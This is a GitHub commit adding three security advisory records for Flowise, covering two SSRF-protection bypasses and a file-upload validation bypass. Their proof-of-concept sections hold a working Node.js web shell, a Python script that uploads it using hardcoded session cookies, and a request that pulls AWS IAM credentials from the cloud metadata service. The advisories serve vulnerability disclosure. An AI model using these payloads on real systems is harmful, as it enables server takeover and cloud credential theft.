Skip to content

Commit 2469dc1

Browse files
1 parent 179397f commit 2469dc1

File tree

3 files changed

+220
-0
lines changed

3 files changed

+220
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2x8m-83vc-6wv4",
4+
"modified": "2026-04-16T21:51:00Z",
5+
"published": "2026-04-16T21:51:00Z",
6+
"aliases": [],
7+
"summary": "Flowise: SSRF Protection Bypass (TOCTOU & Default Insecure)",
8+
"details": "### Summary\nThe core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.\n\n\n### Details\nThe flaws exist in packages/components/src/httpSecurity.ts.\n\nDefault Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).\n\nDNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., 127.0.0.1) for the second lookup.\n\n\n### PoC\nnsure HTTP_DENY_LIST is unset (default behavior).\n\nUse any node utilizing secureFetch to access http://127.0.0.1.\n\nResult: Request succeeds.\n\nScenario 2: DNS Rebinding\n\nAttacker controls domain attacker.com and a custom DNS server.\n\nConfigure DNS to return 1.1.1.1 (Safe IP) with TTL=0 for the first query.\n\nConfigure DNS to return 127.0.0.1 (Blocked IP) for subsequent queries.\n\nFlowise validates attacker.com -> 1.1.1.1 (Allowed).\n\nFlowise fetches attacker.com -> 127.0.0.1 (Bypass).\n\nRun the following for manual verification \n\n\"// PoC for httpSecurity.ts Bypasses\nimport * as dns from 'dns/promises';\n\n// Mocking the checkDenyList logic from Flowise\nasync function checkDenyList(url: string) {\n const deniedIPs = ['127.0.0.1', '0.0.0.0']; // Simplified deny list logic\n\n if (!process.env.HTTP_DENY_LIST) {\n console.log(\"⚠️ HTTP_DENY_LIST not set. Returning allowed.\");\n return; // Vulnerability 1: Default Insecure\n }\n\n const { hostname } = new URL(url);\n const { address } = await dns.lookup(hostname);\n\n if (deniedIPs.includes(address)) {\n throw new Error(`IP ${address} is denied`);\n }\n console.log(`✅ IP ${address} allowed check.`);\n}\n\nasync function runPoC() {\n console.log(\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\");\n // Ensure env var is unset\n delete process.env.HTTP_DENY_LIST;\n try {\n await checkDenyList('http://127.0.0.1');\n console.log(\"[PASS] Default config allowed localhost access.\");\n } catch (e) {\n console.log(\"[FAIL] Blocked:\", e.message);\n }\n\n console.log(\"\\n--- Test 2: 'private' Keyword Bypass (Logic Flaw) ---\");\n process.env.HTTP_DENY_LIST = 'private'; // User expects this to block localhost\n try {\n await checkDenyList('http://127.0.0.1');\n // In real Flowise code, 'private' is not expanded to IPs, so it only blocks the string \"private\"\n console.log(\"[PASS] 'private' keyword failed to block localhost (Mock simulation).\");\n } catch (e) {\n console.log(\"[FAIL] Blocked:\", e.message);\n }\n}\n\nrunPoC();\"\n\n\n### Impact\nConfidentiality: High (Access to internal services if protection is bypassed).\n\nIntegrity: Low/Medium (If internal services allow state changes via GET).\n\nAvailability: Low.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "flowise"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.1.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 3.0.13"
36+
}
37+
},
38+
{
39+
"package": {
40+
"ecosystem": "npm",
41+
"name": "flowise-components"
42+
},
43+
"ranges": [
44+
{
45+
"type": "ECOSYSTEM",
46+
"events": [
47+
{
48+
"introduced": "0"
49+
},
50+
{
51+
"fixed": "3.1.0"
52+
}
53+
]
54+
}
55+
],
56+
"database_specific": {
57+
"last_known_affected_version_range": "<= 3.0.13"
58+
}
59+
}
60+
],
61+
"references": [
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-2x8m-83vc-6wv4"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/FlowiseAI/Flowise"
69+
}
70+
],
71+
"database_specific": {
72+
"cwe_ids": [
73+
"CWE-367",
74+
"CWE-918"
75+
],
76+
"severity": "HIGH",
77+
"github_reviewed": true,
78+
"github_reviewed_at": "2026-04-16T21:51:00Z",
79+
"nvd_published_at": null
80+
}
81+
}
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-rh7v-6w34-w2rr",
4+
"modified": "2026-04-16T21:49:28Z",
5+
"published": "2026-04-16T21:49:28Z",
6+
"aliases": [],
7+
"summary": "Flowise: File Upload Validation Bypass in createAttachment",
8+
"details": "### Summary\nIn FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).\n\n### Details\nThis is a bypass of [GHSA‑35g6‑rrw3‑v6xc](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc) (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the `application/javascript` MIME type when updating a Chatflow, allowing .js files to be uploaded.\n\nJavaScript files are not listed as an option for file upload types within web user interface:\n<img width=\"1162\" height=\"440\" alt=\"Screenshot 2026-01-08 152306\" src=\"https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de\" />\n\n\n\n### PoC\n#### shell.js (Node.js Web Shell)\n```\nconst { exec } = require('child_process');\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n const url = new URL(req.url, 'http://localhost');\n const cmd = url.searchParams.get('cmd');\n\n if (cmd) {\n console.log(`Executing: ${cmd}`);\n exec(cmd, (error, stdout, stderr) => {\n res.writeHead(200, {'Content-Type': 'text/plain'});\n if (error) {\n res.end(`Error: ${error.message}\\n${stderr || ''}`);\n } else {\n res.end(stdout || 'Command executed successfully');\n }\n });\n } else {\n res.writeHead(200, {'Content-Type': 'text/html'});\n res.end(`\n <h1>Node.js Web Shell</h1>\n <p>Use ?cmd=command to execute</p>\n <p>Example: ?cmd=id</p>\n `);\n }\n});\n\nconst PORT = 8888;\nserver.listen(PORT, '0.0.0.0', () => {\n console.log(`Shell running on port ${PORT}`);\n console.log(`Access: http://localhost:${PORT}?cmd=id`);\n});\n```\n\n#### Python Upload Script\n```\nimport requests\nimport uuid\n\nTARGET_URL = \"http://192.168.236.131:3000\"\nCHATFLOW_ID = \"dfd67fff-23b5-4f62-a0b3-59963cabc3b2\"\ncookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y'\njs_mime_type = 'application/javascript'\nCHAT_ID = str(uuid.uuid4())\n\ndef configure_chatflow_uploadfile():\n url = f\"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}\"\n headers = {'Cookie': cookie_str, 'x-request-from': 'internal'}\n chatbot_configdata = {\"chatbotConfig\":'{\\\"fullFileUpload\\\":{\\\"status\\\":true,\\\"allowedUploadFileTypes\\\":\\\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\\\",\\\"pdfFile\\\":{\\\"usage\\\":\\\"perPage\\\",\\\"legacyBuild\\\":false}}}'}\n r = requests.put(url, headers=headers, json = chatbot_configdata)\n\n if js_mime_type in r.text:\n print(\"[+] Enabled .js file uploads\")\n else:\n print(\"[-] Failed to enable .js file uploads\")\n\ndef upload_shell():\n url = f\"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}\"\n headers = {'Cookie': cookie_str}\n files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}\n r = requests.post(url, headers=headers, files=files)\n\n if r.status_code == 200:\n print(\"[+] Upload success\")\n print(r.text)\n else:\n print(f\"[-] Upload failed ({r.status_code})\")\n print(r.text)\n\nif __name__ == \"__main__\":\n configure_chatflow_uploadfile()\n upload_shell()\n```\n<img width=\"839\" height=\"231\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0d2e8384-8da6-4ada-a81a-a85c49476673\" />\n\n\n### Impact\nAn attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "flowise"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.1.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 3.0.13"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rh7v-6w34-w2rr"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/FlowiseAI/Flowise"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-434"
52+
],
53+
"severity": "HIGH",
54+
"github_reviewed": true,
55+
"github_reviewed_at": "2026-04-16T21:49:28Z",
56+
"nvd_published_at": null
57+
}
58+
}
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xhmj-rg95-44hv",
4+
"modified": "2026-04-16T21:50:12Z",
5+
"published": "2026-04-16T21:50:12Z",
6+
"aliases": [],
7+
"summary": "Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox",
8+
"details": "### Summary\nA Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js `http`, `https`, and `net` modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)\n\n### Details\nThe vulnerability exists in the sandbox configuration within `packages/components/src/utils.ts`\n\n**Vulnerable Code - Allowed Built-in Modules (Line 56):**\n```typescript\nexport const defaultAllowBuiltInDep = [\n 'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',\n 'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'\n]\n```\n\n**SSRF Protection Implementation (Lines 254-261):**\n```typescript\n// Only axios and node-fetch are wrapped with SSRF protection\nsecureWrappers['axios'] = secureAxiosWrapper\nsecureWrappers['node-fetch'] = secureNodeFetch\n\nconst defaultNodeVMOptions: any = {\n // ...\n require: {\n builtin: builtinDeps, // <-- http, https, net allowed here\n mock: secureWrappers // <-- Only mocks axios, node-fetch\n },\n // ...\n}\n```\n\n**Root Cause:**\n- The `secureWrappers` object only contains mocked versions of `axios` and `node-fetch` that enforce `HTTP_DENY_LIST`\n- The built-in `http`, `https`, and `net` modules are passed directly to the sandbox via `builtinDeps` without any SSRF protection\n- Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls\n\n**Affected File:** `packages/components/src/utils.ts`\n\n**Related Files:**\n- `packages/components/src/httpSecurity.ts` - Contains checkDenyList() function only used by axios/node-fetch wrappers\n- `packages/server/src/controllers/nodes/index.ts` - API endpoint accepting user-controlled JavaScript code\n- `packages/server/src/services/nodes/index.ts` - Service layer executing the code\n\n\n\n### PoC\n**Prerequisites:**\n1. Flowise instance with `HTTP_DENY_LIST` configured (e.g., `HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`)\n2. Valid API key or authenticated session\n3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached\n\n**Verify SSRF Protection is enabled (expect a block message by policy)**\n\nRequest:\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: <host>\nContent-Type: application/json\nAuthorization: Bearer <api_key>\n\n{\n \"javascriptFunction\": \"const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;\"\n}\n```\n\nResponse:\n\n```json\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.\",\"stack\":{}}\n```\n\n**Bypass SSRF Protection using built-in http module**\n\nRequest:\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: <host>\nContent-Type: application/json\nAuthorization: Bearer <api_key>\n\n{\n \"javascriptFunction\": \"const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });\"\n}\n```\n\nResponse:\n\n```json\n{\n \"Code\": \"Success\",\n \"LastUpdated\": \"2026-01-08T11:30:00Z\",\n \"Type\": \"AWS-HMAC\",\n \"AccessKeyId\": \"ASIA...\",\n \"SecretAccessKey\": \"...\",\n \"Token\": \"...\",\n \"Expiration\": \"2026-01-08T17:30:00Z\"\n}\n```\n\n<img width=\"1638\" height=\"751\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6\" />\n\n\n<img width=\"1633\" height=\"986\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77\" />\n\n\n\n\n\n### Impact\n\n**Vulnerability Type:** Server-Side Request Forgery (SSRF) with security controls bypass\n\n**Who is Impacted:**\n- All Flowise deployments where `HTTP_DENY_LIST` is configured for SSRF protection\n- Deployments without `HTTP_DENY_LIST` are already vulnerable to SSRF via any method\n\n**Impact Severity:**\n1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources\n2. Scan internal networks, discover services, and identify attack targets\n3. Reach databases, admin panels, and other internal APIs that should not be externally accessible\n\n**Attack Requirements:**\n- Authentication required (API key or session)\n- Network access to Flowise instance",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "flowise"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.1.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 3.0.13"
36+
}
37+
},
38+
{
39+
"package": {
40+
"ecosystem": "npm",
41+
"name": "flowise-components"
42+
},
43+
"ranges": [
44+
{
45+
"type": "ECOSYSTEM",
46+
"events": [
47+
{
48+
"introduced": "0"
49+
},
50+
{
51+
"fixed": "3.1.0"
52+
}
53+
]
54+
}
55+
],
56+
"database_specific": {
57+
"last_known_affected_version_range": "<= 3.0.13"
58+
}
59+
}
60+
],
61+
"references": [
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-xhmj-rg95-44hv"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/FlowiseAI/Flowise"
69+
}
70+
],
71+
"database_specific": {
72+
"cwe_ids": [
73+
"CWE-284",
74+
"CWE-918"
75+
],
76+
"severity": "HIGH",
77+
"github_reviewed": true,
78+
"github_reviewed_at": "2026-04-16T21:50:12Z",
79+
"nvd_published_at": null
80+
}
81+
}

0 commit comments

Comments
 (0)